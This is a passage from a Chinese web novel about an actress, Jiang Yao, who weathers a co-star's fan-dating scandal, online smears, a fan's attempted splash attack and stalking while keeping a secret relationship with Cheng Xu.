徐婉宁站在一旁，看江遥脸上的笑意始终不落，如当初在片场一样，和她混熟后，私下里就是个没有距离感的普通朋友。丝毫看不出有什么隔阂。
不愧是在风雨中滚过一遭的顶流女星，心理素质上，她还有太多需要学习的地方。
“遥遥姐。”见他们说得差不多，她亲亲热热地上前挽着江遥的手臂，“我们该走了。”又跟魏林礼貌道别，“魏老师下次见。”
自从上次绯闻后，江遥身边配了专门的保姆车，活动后，徐婉宁蹭她的车一起走。
两人身影消失，李腾脸上的笑容唰一下收起，“看到了吧，只要你够红，身边多的是人为你卖命。”他意有所指，“我看有的人啊，注定是当狗腿子的命。”
徐婉宁舒展身子躺在座椅上，舒服地感慨，“果然我还是适合躺着。”
江遥笑：“这么累？怎么不多休息几天再进组？”
上部戏杀青后，江遥就短暂客串了个角色，徐婉宁已经开始准备进第三个组。她翻身坐起，摆了摆手，“我这都是打酱油的角色居多，也说不上什么可累的。”
“不过我刚听导演说魏林也快进组了，咱们后面的采访时间需要挪一挪，也可能分开做。”
江遥无所谓，“看怎么方便吧，我都行。”
不着急进组后，将手上接的工作忙完，她的节奏又慢了下来，仿佛又回到了之前某段无所事事的时光。
但到底和之前的无人问津不同，现在出门，周边多了许多窥探的镜头，她不得不重新温习躲狗仔这门学问。有次她和小鱼出门逛街，竟然也遇到了尾随的人，还好司机足够警惕。
小鱼很开心她又再次成为镜头的焦点，但也隐晦地提醒她注意一点。她明白她的潜台词，相比所谓的绯闻对象，她的地下男友才是那枚最重磅的炸弹。
是的，她和程绪的地下恋也在悄悄进行着，只是越发隐蔽了，连Susie都暂时没察觉出来不对劲。
在恍惚中，江遥甚至会有种错觉，时间也许真的是一个轮回。
几年前，她也是遮遮掩掩才能出门的女明星，同样谈着一段不被公众所知的地下恋
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情。
和之前不同的是，二十出头的她有勇气向全世界承认，大大方方宣告她身边站着的人。现在的她却失去放手一搏的决心，只想求安稳同行一程。
当然，身边的人也有了诸多不同。她少了许多盲目的乐观，他却多了不少包容的耐心，或许应该说，是全心的信任和全然的笃定。
上次闹上热搜，反倒是他来主动安慰她说真心不一定换来真心，但想要拥有的前提，一定是曾经坦诚付出。他说“不要不开心”。
江遥其实本来心情还算不错，同一个组里的同事来来走走，自然不能要求和每一个都有缘分和谐相处，表面上能维持下去已经足够。但他仿佛把她当成初出茅庐的小朋友，隔着电波陪她说了许久。
清冷的声线里，藏着他独有的温柔。被哄着的体验实在太美妙，闹到最后，还是小鱼来敲门，她才舍得挂掉。
徐婉宁想跟她说说上次的乌龙，又觉得这种事情没必要摊开来说，毕竟江遥才是圈子里的前辈，自有自己的一套处事原则。
没过几天，徐婉宁和魏林果然都进了新组。除了偶尔和朋友碰面，大部分时间她都老实窝在家中，偶尔程绪会悄悄上门，陪她看一部老电影。她把电影当功课，他也乐得跟他说说自己的解读。
每当这种时候，她就会觉得，或许自己并没有想象中浅薄。他像是她在海边随手捡起的贝壳，撬开漂亮的外壳，里面也是闪闪发光的珍珠。
随着开播时间临近，剧组放出的物料，已经足够大家拼凑出这部剧的雏形。除了粉丝，也有路人被吸引，凭着仅有的物料，开始了CP大乱炖。剧中并无官配，嗑到全凭一丝感觉牵引，截至目前，男主女主，男主女配，女主女配都有人押注。
砰的一声，房门发出巨大的声响，把刚收好东西准备离开的化妆师吓得身子猛地一颤。李腾脚步微顿，看着僵在门边不远处的人，迅速收拾好表情，微笑着送她出门。化妆师拎着化妆箱，快走几步，要不是摔门的声响太大，说不定她还真以为自己看错。
魏林坐在化妆台，从镜子中看到房门缓缓阖上，转身询问：“怎么了？”
李腾想说什么，又生生压下了情绪，知道这里终究不是说话的好地方，只意味不明地笑了声：“呵，那个娘们。”
谁以后再说江遥演技不行，他绝对第一个反对。平常装得一副与世无争的样子，真到关键时刻，一点东西看得比什么都重。之前打点好的物料全部被撤换，能怎么办呢，他们也只能咬牙认了。
魏林看他那表情，就知道十有八九是又在江遥那吃瘪了。有些东西就是这样，别人不计较你怎么蹦跶都行，别人一在乎，那也只是拿回自己应得的。
自从上次尝到甜头后，李腾最近憋屈得不行。江遥的粉丝跟探照灯似的，死守着自家的权益寸步不退，他这边刚想有点什么动作，那边就吵嚷着要维权。关键是粉丝体量还不小，他也不好这么直勾勾对上，只能一步步试探着来。闹到最后，就是他一步退，步步退。
59. 采访
小如看着各平台更新好的物料，满意地拍了拍手，“果然，这样就顺眼多了。”
小如是江遥庞大粉丝团的一员，甚至算不得活跃。本来她只是下课后拿起手机习惯性刷下江遥的最新消息，没想到又看到魏林团队的骚操作。连她这种佛系粉丝都忍不了了，撸起袖子加入了维权大军的队伍。
虽然是无CP的剧，但这部剧的番位一目了然，偏偏有人尝到了野路子的甜头，什么都想掺上一脚，释出的物料里，不知道的还以为是什么大男主剧。就像在饭里吃出一只苍蝇，不致命，但恶心得不行。还好，平台听到了粉丝的请求，重新更换了更严谨的物料。
本来她还挺期待两人合作，过河拆桥的也不是没见过，但这台子还没搭起来，就急着拆上了，是不是有点过于赶进度。一次不理会当人好欺负，次次来这招还真把人当傻子了。
自然，没有谁是真正的傻瓜。李腾这操作，看得小鱼也是叹为观止，她很疑惑：“魏林这经纪人到底是在哪个垃圾桶里翻来的，简直要把他名声都败坏了。”当初拍戏时，明明好好一小伙子呢，没想到最近昏招频出。
她忍不住分了点心思替他担忧，“我看他们再继续这路子不收手，不知还得得罪多少人，到时候经纪人拍拍屁股走人，骂名不还都是他一个人背着，也不知道魏林知不知道经纪人都背着他干了些什么。”
见她还真真情实感地担心上了，Susie毫不客气地笑出了声，小鱼疑惑看去，她摇了摇头，没有点破。
江遥魏林这两个名字再次合体登上热搜，是因为魏林一个采访的释出。
看环境是在拍摄现场，周围的环境音很吵，有媒体举着话筒问了几个新剧相关的问题，又cue到他即将上线的古装剧。
“我们知道你有部剧马上要播，粉丝们都表示很期待，你自己呢有什么想说的？”
魏林粉丝还处于黏性较高的时候，即将上线的新剧热度和口碑目前看起来也都不错，搭档的还是近期大热的江遥，就算没有爆火，打底也会是热播起步。又有记者将话筒往前伸了伸，问：“你怎么看待和江遥的这次合作？”
魏林阳光的脸上带着笑，“这部剧凝聚了所有人的心血，我也很期待。和江老师的合作啊……”他看了眼镜头，仿佛是在跟镜头前的江遥确认：“江老师，这是可以说的吗？”
记者一听就来精神了：“有什么是我们不方便听的吗？”
魏林笑：“没有没有，和江老师的合作也很愉快。”
他顿了一下，接着说：“江老师是位非常优秀的演员。”
“听导演说她从来不会迟到早退，是真的吗？”
“是这样，江老师给很多年轻演员树立了很好的榜样。”
记者：“也包括你吗？”
魏林嘴角挂着莫名的笑意，显得整张脸都很生动鲜活，语气温柔，望着镜头一字字吐出：“我确实也在她身上学到了很多。”
原本是剧组为新剧宣传安排的媒体探班，精心准备的新剧相关词条都只爬到了十名开外就止步不前，偏偏和江遥相关的这条采访却无心栽柳，热度稳稳上升，看到的人越来越多。
「我赌一包辣条，这两人绝对有事。」
「魏林笑得那叫一个荡漾，他是不是真对江遥有点那意思啊。」
「理智告诉我是假的，但情感上忍不住啊，不管了我先偷偷嗑一口。」
「又开始了又开始了，这炒作还没完没了了。」
「炒作是不道德的我先说，但救命啊啊啊真的很好嗑。」
双方粉丝也很无语，部分人表示抱走我家姐姐/哥哥，也也部分人见缝插针地安利，让大家少嗑假CP，把目光放在即将上线的角色身上。吵吵嚷嚷，很是热闹。
手机自动播放这个视频的时候，江遥正枕在程绪的腿上刷手机。不知道是谁将魏林的采访单独截出来了一段，视频一开始就是他带着笑意的声音，“江老师，这是可以说的吗？”
程绪抚摸她头发的动作没停，仿佛并没有留心，江遥悄悄调低声音，偷偷抬头看了眼他的脸色，刚好对上他的眼睛。她慌忙移开视线，切到下一个视频，假装看得认真。
他冷不丁问出一声：“他要说什么？”
“哎呀我怎么知道。”江遥一点没有被抓包的自觉，手撑着沙发借了点力，翻身坐起，蹬上拖鞋就想走。
“去哪儿。”程绪眼疾手快，拉住她的一只手。
“上厕所！”江遥回头没好气地说。
等她磨磨蹭蹭洗完手出来，程绪拍了拍身边的空位，江遥自觉走过去，在他身边坐下。
这点时间已经足够她将来龙去脉了解清楚，她很确定，两人在那个问题上，并没有什么私下的故事和暗语，但她不可能跳出来说。真要摊到台面上来讲，人家也可以说是为剧带热度。
她抱着他的腰，头在他胸前拱了拱，怎么躺都觉得不对劲。心中有股躁意涌动，却找不到发泄的途径。
程绪把人从怀里扒出来，“乱动什么。”
江遥声音低低的，“不知道。”
“还出去吃吗，还是自己做？”他看了眼外面的天色，知道她大概率是不想出门了。
江遥果然摇摇头，又靠近他怀里，“先让我躺会儿。”
“嗯。”他声音也跟着放轻，一手搭在她的腰上，一手拿着手机按了几下。垂着眼睛，眉眼沉静。
江遥在他怀里抬头，这个人好像永远都是一脸平静的样子，不会因外界环境而产生过多波动。他身上的味道，他虚虚搭在腰间的手，将她环绕其中，心底的焦躁一点点抚平，取而代之的，是另一股冲动。
“嗯？不睡吗？”察觉到她的注视，他身子往上挪了挪，将手机锁屏放在一旁，摸了摸她的头。
江遥顺着他的动作，脑袋重新贴近他的胸口，来回蹭了几下，找了个舒服的姿势躺着，没动了。
他的心跳一声声响在耳旁，扰得她根本睡不着。她指甲无意识抠着他的衣摆，闭着眼睛，认真分辨着它跳动的急缓。一声声规律的撞击，给人莫名安定的感觉。
说要自
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己做饭，实际上两人根本揭不开锅。江遥本来有心亲自下厨展示下手艺，程绪却说已经叫了餐。
满桌丰富的菜品，光凭色泽和香味就馋得人食指大动，不知道是哪家私厨出品。
江遥看他好像丝毫没有忌口，不免疑惑：“你以前是不是不吃辣？”但之前和他下馆子，他也从来没有提过，而且吃了很多。
“嗯。”程绪慢慢咽下嘴里的食物后问道，“你哪里听来的？”
江遥动作一顿，他猜着：“我以前说的？”
她哼了声，“刚好刷到。”
“以前也不是不喜欢，只是不习惯。后来……”他停了一瞬，又继续说，“后来待的地方多了，也就习惯了。”
程元峰对儿子的历练，那是实打实地从基层做起，根本没有他挑的资格，只能入乡随俗，一步步走过地图上的大半版图，在通讯都闭塞的地方，和人共享着仅有的资源。无人知道他是程氏的少爷，也没人在乎他是不是和某位风光无限的名人长了张差不多的脸。
江遥想起来他消失的几年，以及如今蒸蒸日上的新事业，背后的故事，应该能讲上三天三夜。他没有多说，她也就只是听着。
每个人都有自己的人生课题，在她陷于低谷挣扎浮沉的时候，他也在自己的道路上挣揣着朝前走，命运的轨迹在他们脚下各自延伸，又像是隔着时空彼此交握。是有多幸运，才能同坐一桌，共话来时路。
也许有一天，他会跟她说起自己当年的期许和决绝，她也会向他坦露曾经的迷茫和脆弱，但不是此刻。此刻的时间，归浪漫所属。
沙发凹下去一角，纤柔的手指和宽大的手掌交握，手背青筋凸显，房间的气温逐渐变得燥热。江遥的手指无意识弯曲，仿佛想紧紧抓住些什么，手上的姿势却相反，是一个往外推的动作。
双唇分开时发出暧昧的声响，在安静的空间内，听得人心头一荡。她攀在程绪肩头，声音里还带着微微的喘，眼角眉梢却闪着兴奋的光。她看着他：“采访一下。”
程绪扬扬眉头，示意她请讲。
江遥清了清嗓子，努力端出严肃的表情，将手握成拳头，当作话筒伸到他嘴边，临时客串一把媒体记者：“你怎么看待和江遥的这次合作？”
“啊……”两人完全没有商量，程绪却自动跟上了她的频率，似乎完全被这出乎意料的问题问住，伸手握着“话筒”抵到唇边，挠了挠额角，状似为难。
他凝神思索，温热的鼻息喷在江遥的皮肤上，痒痒的。她招架不住，忍不住仰着身子想要往后缩。他却是一位再认真不过的被采访者，牢牢攥着她的拳头不肯松手，配合着想要演完这一出。
漆黑的眸子凝视着她的眼睛，他小心翼翼地和她确认：“这是可以说的吗？”
江遥笑了笑，鼓励他道：“你说说看？”
他启唇，清冷的声线响起：“和江老师的合作非常愉快。”
她就知道，他已经偷偷看过魏林的采访！江遥表面不动声色，心里已经在后悔为什么要搬起石头砸自己的脚。
60. 衰运
他实在是一位天赋极高的演员，比照着既定的剧本演了几句，又开始了即兴创作。他调整了下握“话筒”的姿势，认真注视着眼前的采访者，语气诚恳：“希望以后，能有更多切磋交流的机会。”
一本正经的模样，说着似是而非的话，听得江遥耳朵发烫，只想哄着他早点尽兴：“嗯嗯会的。”
他却似乎还没有演够，嘴巴微张，还想说些什么。江遥见势不妙，伸手在他肩上推了一下，想要制止他的动作，他的话语却已经吐出：“在她身上，我学到很多。”
江遥投降，“够了够了，采访结束。”
程绪见好就收，拉着她的手腕，仔细查看她的脸色，“这样就开心了？”
江遥忙不迭点头。
她想了想，又说：“我是真不知道。”
程绪轻易听出，是对自己之前那句“他要说什么”的回应，在隔了这么久之后。
她自然什么都不知道，别人的过错，并不需要她来解释和承担什么。
“嗯，我知道。”他伸手捏了捏她的脸颊，和月初相比，脸上的肉已经长回来了些许，但他还是皱着眉头，“太瘦了。”
江遥摸了摸自己的脸，解释道：“一直是这样的，一忙就不长肉，其实我吃得不少了。”
接下来的几分钟里，两人围绕着女明星的健康和身材管理展开了讨论，无人再有空给魏林太多关注，最后程绪说：“要补一补。”
热搜轰轰烈烈讨论了一轮，又被新的新闻替换掉，刷到的人或许信或许不信，但再不会如第一次般引发太大的讨论和舆情。
当然，也有人不会如此平和。小鱼再次收到魏林粉丝的威胁，一位顶着“魏林的小甜心”ID的女生，听语气却还是上次那位，叫嚣着让江遥要点脸，离自家男人远一点，恐吓夹杂着不堪入目的图片和诅咒，状似疯魔地发泄着。她看了会儿乐子，再次随手拉黑。
这下，小甜心彻底化身成黑心棉，在江遥的词条里肆意发泄着。
小鱼没想到，会再次见到这位小甜心，更没想到的是，这人和魏林竟然真的有关联。
在她的叙述中，江遥在拍摄期间就主动勾引了自己的男朋友魏林，拍摄结束后两人还多次联系并私下会面，最近江遥更是完全不知底线为何物，教唆着魏林一门心思想着要和她分手。
在这篇声情并茂的小作文中，魏林被塑造成原本老实巴交的完美恋人形象，江遥则是他们幸福的入侵者，而她为了守护自己的爱情，不得不勇敢发声。
这篇小作文很快被推上热门。
「好家伙，终于给我赶上一手瓜了，千万别删。」
「没想到江遥是这种人。」
「魏林就一般般吧，搞得跟个香饽饽似的，有点假了。」
「你说是人家女朋友就是女朋友，证据呢？」
「妹妹，不是谁都看得上你家丑哥哥的，但老师说过造谣不对哦。」
一根瓜蔓上，牵扯上了当红女星和小三传闻，完美踩中了网友的好奇心，大家疯狂艾特好友吃瓜，评论一会儿突破几千条，转发数也在持续上升。
小鱼看到的时候，江遥正铺着垫子在地板上做平板支撑，小鱼捧着手机蹲在一旁，拣了几句读给她听，还没读完打了个哆嗦，抖了抖身上的鸡皮疙瘩：“这人是不是脑子有点什么毛病啊，这狗屁不通的小作文不会真有人信吧，魏林知道自己有这么位女朋友吗？看起来真的精神状况堪忧。”
“就算他们是真情侣又关我们什么事了，哪有家务事拖外人下水的，还说什么在酒店整整待了三天三夜没出门，不知道的还以为她趴在床下听。”她看着满屏对江遥生活作风的指控，越说越气愤，“这种人真以为造谣没成本，等收到法院传单就老实了。”
江遥收了动作，坐在垫子上，将小鱼凑过来的脑袋往外推了推：“别那么激动，口水喷我脸上了。”
小鱼伸手抹了把嘴，也没管她的污蔑，声音小了点，“咱们真的不理啊？”
江遥起身收了垫子，无所谓道：“理得过来吗？”
从她出道到现在，绯闻对象估计一双手都数不过来，捕风捉影的传闻从来没有完全消停的时候，越离谱越有人信。
小鱼默默沉思了会儿，江遥身上的话题，除了耍大牌没演技，混乱的男女关系也是牢牢占据了一席之地，见江遥确实不在意的样子，她也没再劝说，现在律师函跟搞批发似的，威慑力也早已大不如前了。不过她的心理还远没有江遥强大，只好放下手机躲个清净，所以也错过了，之后发酵的过程。
在各方的推波助澜下，这条微博热度持续加码，从小范围出圈到热搜高位，也不过就是短短几小时的事。
综合爆料人过往微博来看，这人从魏林走红开始就入坑，实时追踪着他的所有新闻，这篇小作文反倒更像是不满魏林绯闻的粉丝意淫产物。
何况江遥也早已不是过去的风评，这人除了文字什么证据也拿不出，却咬死她的恶行，连网友都看不下去：「真说你你又不爱听，我上次看到这瓜的时候人家好歹还P了张图糊弄我呢。」
「追星追魔怔了吧，就算不是江遥，这男人迟早也是别人的。」
「拜托这年头爆料也讲个基本法，你一篇小作文就完事儿了？」
「你喊一声老公你看看魏林答应吗？神经！」
「什么糊逼的瓜都值得上热搜了吗？拉黑了。」
乐子人讲话丝毫不留情面，小甜心被彻底逼疯，疯狂回复评论，最后留下一句：你们等着！
这下，倒真吸引了不少人留在评论区舍不得走了，不断催着后续，水被越搅越浑。
天刚刚擦黑的时候，这名“魏林的小甜心”又更新了第二条微博，直接上了一张自己和魏林的亲密图。
「哟嚯，好家伙，这是真嫂子。」
「我有点信了……爱看，多发。」
「我流量多，咱展开说说？」
不知是条件没谈妥还是被网友质疑破大防，小甜心从亲密照开始，接着聊天记录、通话录音齐上阵，直接曝光了和魏林恋爱及谈分手的全过程。
年初魏林主动给她发私信，两人秘密交往近半年，年后开始，两人一直在因其他女人的存在闹矛盾。在最后一段
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音频中，她还在电话里苦苦挽留，表示愿意和其他姐妹和谐相处，魏林却警告她人贵有自知之明。
「玩得挺花啊，这还没多红就准备开后宫了。」
「没理解错的话，这是睡粉？看样子还不止一个？」
「NND，又塌房了，男人果然只有挂在墙上才老实。」
“啊，我这该死的好奇心。”徐婉宁好不容易赶上个热乎瓜，结果差点没给自己吃噎着，她两手抓着头发，终于理解了魏林身上违和感的来源，又有种悲凉的预感：这项目怕是要完了。
“我怕是要完了。”魏林双手抱头，一脸痛苦的表情。
李腾按掉响个不停的手机，忍不住踹了一脚桌椅：“让你早点分手你不听，早跟你说过，粉丝不能碰，你听得进去吗？”
“对不起。”他双手无力地垂下，那一具具温热的躯体，一声声真心的喜欢，他曾为此骄傲和自得，又亲手掐灭掉少女的渴望和祈求。昨日的伊甸园，今天的不归路，是他自己，行差踏错。
看着眼前如丧考妣的男人，窝窝囊囊的样子，李腾血压都忍不住往上升，只能拼命让自己冷静下来，告诉自己说，在他身上的押注，可还没来得及回本。不知道还有多少证据掌握在别人手中，让他先下手为强，他又说什么不忍心。
他拿起手机联络了几个老朋友，路过他的时候，实在忍不住出声嘲讽：“现在自己身败名裂，她有没有不忍心？”
魏林沉默了一会儿：“我会道歉，然后退出娱乐圈。”
李腾攥紧的拳头，终于挥了出去。就算是一步废棋，也该是他先让他出局。
站在门口放哨的助理，听着房间内传出乒乒乓乓的响声，胆战心惊地朝四周望了望，生怕突然有人找上门。二十分钟后，房门终于打开，他小心翼翼抬头，李腾一马当先走在前面，魏林的脸色也看不出什么，还好还好，看来腾哥还是有分寸的，脸上留伤就不好了。
虽然经纪公司已经尽力挽救，魏林的声誉还是跌到了谷底，加盟的新剧刚刚开机，新闻出来后，剧组临时通知休息。大家默契地没有说破，但心知肚明，休息过后，原班人马不知是否还能集齐。
受影响最大的还是卢亮，自己执导的第一部戏，在临播出前碰到了这档子事，谁不说一声晦气。但卢亮偏却还稳得住，叹了口气，只说是自己选角的时候太大意。
有网友分析，虽然魏林私德败坏，但这种道德问题，既然官方并没有明令禁止，这部剧，上视频网站应该还是没问题。
有人替江遥感到惋惜，就目前释出的物料和各方评价来看，这部剧的完成度应该挺高的，或许会成为她的又一部代表作。刚刚在电影领域大获丰收，如果电视圈再出一部爆款，她的势头将无人可挡，没想到最终会等到这样的结局。
粉丝也感到遗憾，从《双生花开》的导演到这部剧的男主，两个项目江遥都付出了百分百的努力，却都没有好结果。
另一种声音却说，是不是她自带衰运呢，遇到的项目都有波折，不是这个出事就是那个有问题，怎么就能那么巧，问题人物都被她精准碰上了。
61. 出事
江遥也不懂自己这是得罪了哪路神仙，跟小鱼说：“看来我要找机会去拜拜了。”
小鱼回她：“他们这是典型的人不行怪路不平。”
“不如让魏林去给那些女生拜拜比较实际，什么玩意。”
自从吃到完整的瓜后，她对圈内这些男明星的滤镜彻底破灭，直嚷着自己功力不够，看着人模狗样的，没想到背地里猪狗不如。亏她对魏林印象还不错，以为前阵子那些骚操作都是经纪人自作主张呢，敢情都是一丘之貉。她拍了拍自己的嘴巴，“看走眼了看走眼了。”
“听说他之前那部戏，原本也是定了人的，不知道李腾使了什么手段，临开拍前换了男主，现在导演又哭爹喊娘地把人家给请回来救场了。”
原本默默无闻的人，一旦上了新闻，也总有各种各样的熟人和爆料涌出，何况这人原本就是个公众人物。在小甜心爆料之后，关于魏林的瓜也是越吃越多。
原定暑期上映的剧撤档，演员们特意为宣传空出的行程一时也没有来得及安排。徐婉宁也是不懂，为什么红了后，一个人前后能有这么大的出入。跟江遥碰面的时候，她忧心忡忡地跟她说：“真怕我以后变得自己都认不出。”
江遥听了好笑：“加油，我会监督你的。”
两人分开后，回程的路上，江遥得知自己又上了热搜。
许久没有交集的李茜直接顶着自己的加V大号，公开阴阳：有些人参与的项目都流产，是不是应该自我反思下，毕竟，恶人才会有恶报。评论区有人问是谁，她直接回，你们说谁就是谁。
原本就有人猜她是在影射江遥，这条回复直接添了一把火，将#江遥李茜#送上了热搜。两人同在一个公司多年，在这样的关头，李茜的指控，不由得让人怀疑她是不是知道什么内幕。
“李茜？”江遥一时没回过神，好久远的名字了。她疑惑，“我什么时候又得罪她了？”
小鱼撇撇嘴，对这人的嘴脸记忆犹新：“她就是条疯狗，压根不用人戳，全自动吠的。”
不知是李茜自带水军还是江遥的对家们助了一臂之力，两人的热搜词条里，充斥着对江遥人品的讨论和辩驳，风风火火的阵仗，仿佛又要将她一脚踩进泥里。
最开始出声的是宴池，他说，同在一个公司待过就能空口鉴人品，同一个组里合作过的同事应该也有发言权吧？心里不平衡就好好反思自己，不要总盯着别人碗里的东西。
他没有公开指名道姓，但作为江遥曾经的大热CP和明面上的好友，大家都明白他在说的是什么事情。
经纪人静姐是和他粉丝一起看到这条微博的，“你啊你……”她手指点了点，又终究说不出什么难听的。宴池的粉丝却又开始小规模爆发，想不通为什么只要江遥出现的地方，宴池就永远都能不管不顾地奔向她。
官方CP汪静静也不甘人后，直接晒了和江遥的合照。
由这两个人起头，圈内刮起一股自发声援江遥的风潮，曾芜、姜朗、徐婉宁、苏远安等同学或者合作对象，都不约而同表示着对江遥的支持，看得吃瓜群众一愣一愣的。
「谁说江遥人品不行的啊，这看起来圈内朋友挺多的啊，合作过的基本都集齐了。」
「从一线到十八线都有，这姐处朋友也是真不挑。」
甚至连同在轻音娱乐的刘灵泠都私下给她发了消息，说公司最近很乱，自己的微博被经纪人管控，很抱歉不能公开发声。江遥感激她的记挂，让她不要放在心上。
也不知道轻音娱乐最近发生了什么，给李茜闲得又将注意力往她身上投。原本平息的流言，又随着一组照片的曝光掀起风浪。
照片的女主角都是江遥，男主角却换了好几个。和宴池的照片最多，有早期两人拍戏和出席节目时的合影，也有上次一起走红毯的照片，看起来异常登对。
和苏远安的照片背景也是在X杂志晚宴上，之前就上过一轮热搜，但爆料的人竟然还抖出了新图，连江遥自己都是第一次见。看穿着，是去年青苗奖散场的时候，她和苏远安的视线，隔着大片人群遥遥相接，但彼时，他们并不是照片的主角。
照片中央，工作人员簇拥着一个男人快步离开，黑色西服，冷峻挺拔，自发和旁人隔开一个次元。
江遥手痒，将照片直接转发给了主角本尊：「看，新出炉的合影。」
两人难得的同框，不知道被哪位有心人忠实记录，在此时当成武器发射而出。程绪双指放大照片，江遥一身白裙，施施然站在不远处，隔着人潮望来，有种被她专心凝视的错觉。他手指轻点，一键收藏，连照片上多余的人都看得顺眼起来。
不一会儿，江遥收到他的回复，礼尚往来，也是一张照片。他问：「吃什么这么开心？」
这次的男主角换成了姜朗，还是前阵子客串的时候，两人顶着剧中的妆造，蹲在小马扎上吃着盒饭，嘈杂的片场，两人相视而笑，看来无比温馨和亲近。
江遥无语，这么私密的照片，不知道网友们都是从哪里扒拉出来的，而且还是他先刷到的图片。
江遥果断滑跪：「大哥，求放过。」
程绪看着屏幕上的两个大字皱了皱眉，跟她确认：「你叫我什么？」
江遥的嗅觉异常灵敏，重复是不可能再重复的，她嘿嘿笑着，回他：「西西。」
西西眉头越发拧起，没有再回复。
关于她的乱七八糟的新闻，她向来没有跟他多说，但他却似乎一直都有关注。江遥看着网上越发混乱的战况，也很是无语。
他们口中那个脚踏N条船，挥挥手就能让资本下场、营销号倾巢出动的女人，真的是她么？
不管给的人设多离谱，自有人被牵着鼻子走。在部分人眼中，江遥已经和魏林成为一丘之貉，俨然是一个私生活混乱，玩弄感情的女人。
但沉寂多年再次归来的江遥，自拥有一批忠实粉丝。双方对峙，网上的声讨并没有形成规模，就已经消弭于无形。
是线下先出的事。
不知道她的住址是怎么泄漏的，江遥参
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加完活动，整个人困得不行，挨到车上就睡着了。司机将她送到楼下，外边天色已经完全黑透，她迷迷糊糊下车，转过拐角，突然蹿出一个人影。
她下意识抬头，就看到对方从包里掏东西的动作，本能地用手在身前一挡。呛人的气味传来，江遥看着眼前被反剪着胳膊，戴着口罩咳嗽着泪流不止的女孩，不由升起一丝后怕。瓶中的液体，在挣扎中全部倒在了那人自己身上，但凡司机晚到几秒，这样毫无形象哭泣着的人或许就要换成她了。
女孩穿着宽大的外套，约摸十五六岁的模样。或许只是想给她点警告，或许是年纪不大胆子较小，这人掏出的只是一瓶加了点料的矿泉水。如果换成伤害性更大的物品，那这年轻的容貌，也许就已经被自己亲手毁掉。
司机将落在车上的包交还给江遥，问道：“需要报警吗？”
女孩听到，开始奋力挣扎，哭喊着下次再也不敢了。
江遥冷冷出声：“报吧。”平静的音调，并没有怒意，听在耳里，却知道事情并没有转圜的余地。
司机不由一怔，克制着抬头的动作，踟蹰一瞬说道：“她年纪不大，应该不会有什么较重的惩罚。”是提醒她不要有太大落差。
江遥点头表示知道，却并没有改变想法的意思。
之后几天，风平浪静，正当她放下心神的时候，“啊！”正拆着快递的小鱼声音猛地拔高，一把将东西塞进盒子里，慌乱地往后退了几步。
江遥回头去看，小鱼挡住她望来的视线，推着她回去卧室：“你好好坐一会儿，我来处理。”
快递盒子里，躺着一个龇牙咧嘴的小丑，额头上贴着一张纸条，“我看着你呢”。
大张的嘴巴，歪曲的五官，看得人心里发毛，仿佛自己的一举一动，都落在里旁人的监控中。
得知这并不是第一次，Susie当机立断，建议江遥：“你该搬家了。”
从毕业后就一直住在这边，江遥已经习惯了小区的物业和周边的配套，Susie之前试着劝过她换个更大点的地方，得到的答复都是说，够用就行了。好在小区安保一直不错，Susie也没再坚持。
今天她再次苦口婆心：“你的地址已经泄漏，继续住下去会有更大隐患。房子需要尽快敲定，最好这几天就能住进去的。”
几年住下来，不大的空间里，满满都是她生活的痕迹。江遥心内有点不舍，但也知道现在不是任性的时候。她的背后，还关联着其他人的工作。
Susie已经联系朋友帮忙留意合适的房源，但合适的房子自然没有那么好找，她提议说：“找到房子前，先去我那住着。”江遥点头。
Susie前些年自己买了房，之前他们还上门温居过，三室一厅，空间足够。小鱼自己也是跟朋友合租，闻言只加快了手上帮忙收拾东西的动作。
“行了行了。”江遥将她手中的一条裙子放进柜子里，阻止道，“我就先过去住几天，带几身衣服就差不多了，其他的等找到房子再来一起搬走。”
62. 搬家
几人很快收拾好东西离开，江遥就这么住进了Susie的家。三人在家里简单吃了一顿，当作是为她接风。
安全起见，Susie将她这几天的行程全部空了出来。江遥一边留意合适的房源，一边提前跟房东打好招呼，自己也许很快就会搬走。
这天她回家的时候，Susie站在窗户旁打电话，背对着房门，并没有听到她进门的声响。江遥正想回房，Susie声音突然扬高：“他们这时候过来干嘛！说了我这没地方！”
江遥站在客厅中央，不知该不该继续走掉。对面不知道说了什么，只听她声音带着一丝讥诮：“敢情还拖家带口的呢，我又不是他妈。”
“挂了。”没再理对面的胡搅蛮缠，Susie直接挂了电话，回头的时候眉间还带着一丝没来得及消散的躁郁，看到身后站着的江遥，脸上有着显而易见的惊讶。
她扯了扯嘴角，想扯出一个笑，可惜脸上的肌肉不听使唤。
江遥主动开口打破僵局：“对不起，我不是故意听的。”
既然已经听到，她也不可能装作无事发生，主动问她：“是有人要来吗？要不我去朋友那住几天吧。”
“没事，别放在心上。”Susie好像已经习以为常，也没有诉说的欲望，只让她安心住着就好，说完，进了厨房，问她有没有什么想吃的。
洗漱过后，江遥躺在床上，望着洁白的天花板出神。中介那还没有消息，Susie这再住下去也不太合适。她想着实在不行去汪静静那蹭蹭，算时间这两天应该也快杀青了。
点进微信，朋友圈有新动态提醒，赫然是汪静静的头像。点开，是一张片场的照片，她说：又是一个大夜。
江遥评论：什么时候杀青？
汪静静没有回复，直接发来了微信：「早着呢。」
「我真服了，什么奇葩玩意都被我碰上了。」
接下来十几分钟，她开始激情吐槽，剧组某个资本家的金丝雀让人发指的二三事，弄到最后所有人都得陪着赶工。江遥陪着她发泄了一通，最后还是以她被助理叫走告终。
好了，这条路也堵住了。
一阵手机铃声打断了她的沉思，是程绪发来的视频邀请。江遥闲下来后，程绪有时间就会给她打电话，偶尔视频，他话也不多，很多时候就是将手机摆在一旁，手上继续忙碌，听着她这边窸窸窣窣的声响，偶尔抬头看眼她在干什么。
江遥环顾四周，这冷色调的房间，一看就不是她的风格。手机提示音响个不停，她扑到床上，伸手关了床头灯，才接起视频。
“干嘛？”她声音含含糊糊的，像是刚醒。
黑乎乎一片，什么也看不清。
“就睡了？”程绪看了下时间，才九点多。一般这个点，正是她蹦跶得欢的时候。
“嗯，有点困。”江遥假作打了个哈欠，忍不住给自己的反应能力打个一百分。
“昨天干什么了？”这么早就睡，基本都是头一天晚上熬了夜。对她的生活作息，他已经摸出了一套规律。
每当这时候，她会先哀嚎一声，然后跟他巴拉巴拉说上一通。今天，却莫名有点安静。
“就在家里待着啊。”江遥语气有点低落。
他敏感察觉出，问她：“为什么不开心？”不是疑问，而是肯定。问完后，他也没有再说。表情凝重地望着她，仿佛在等一个理由。
“没有，就是有点困。”江遥往被子里缩了缩，才不愿意承认。心底重重坠着，一会儿又觉得空茫茫的，她问，“你还在忙吗？”
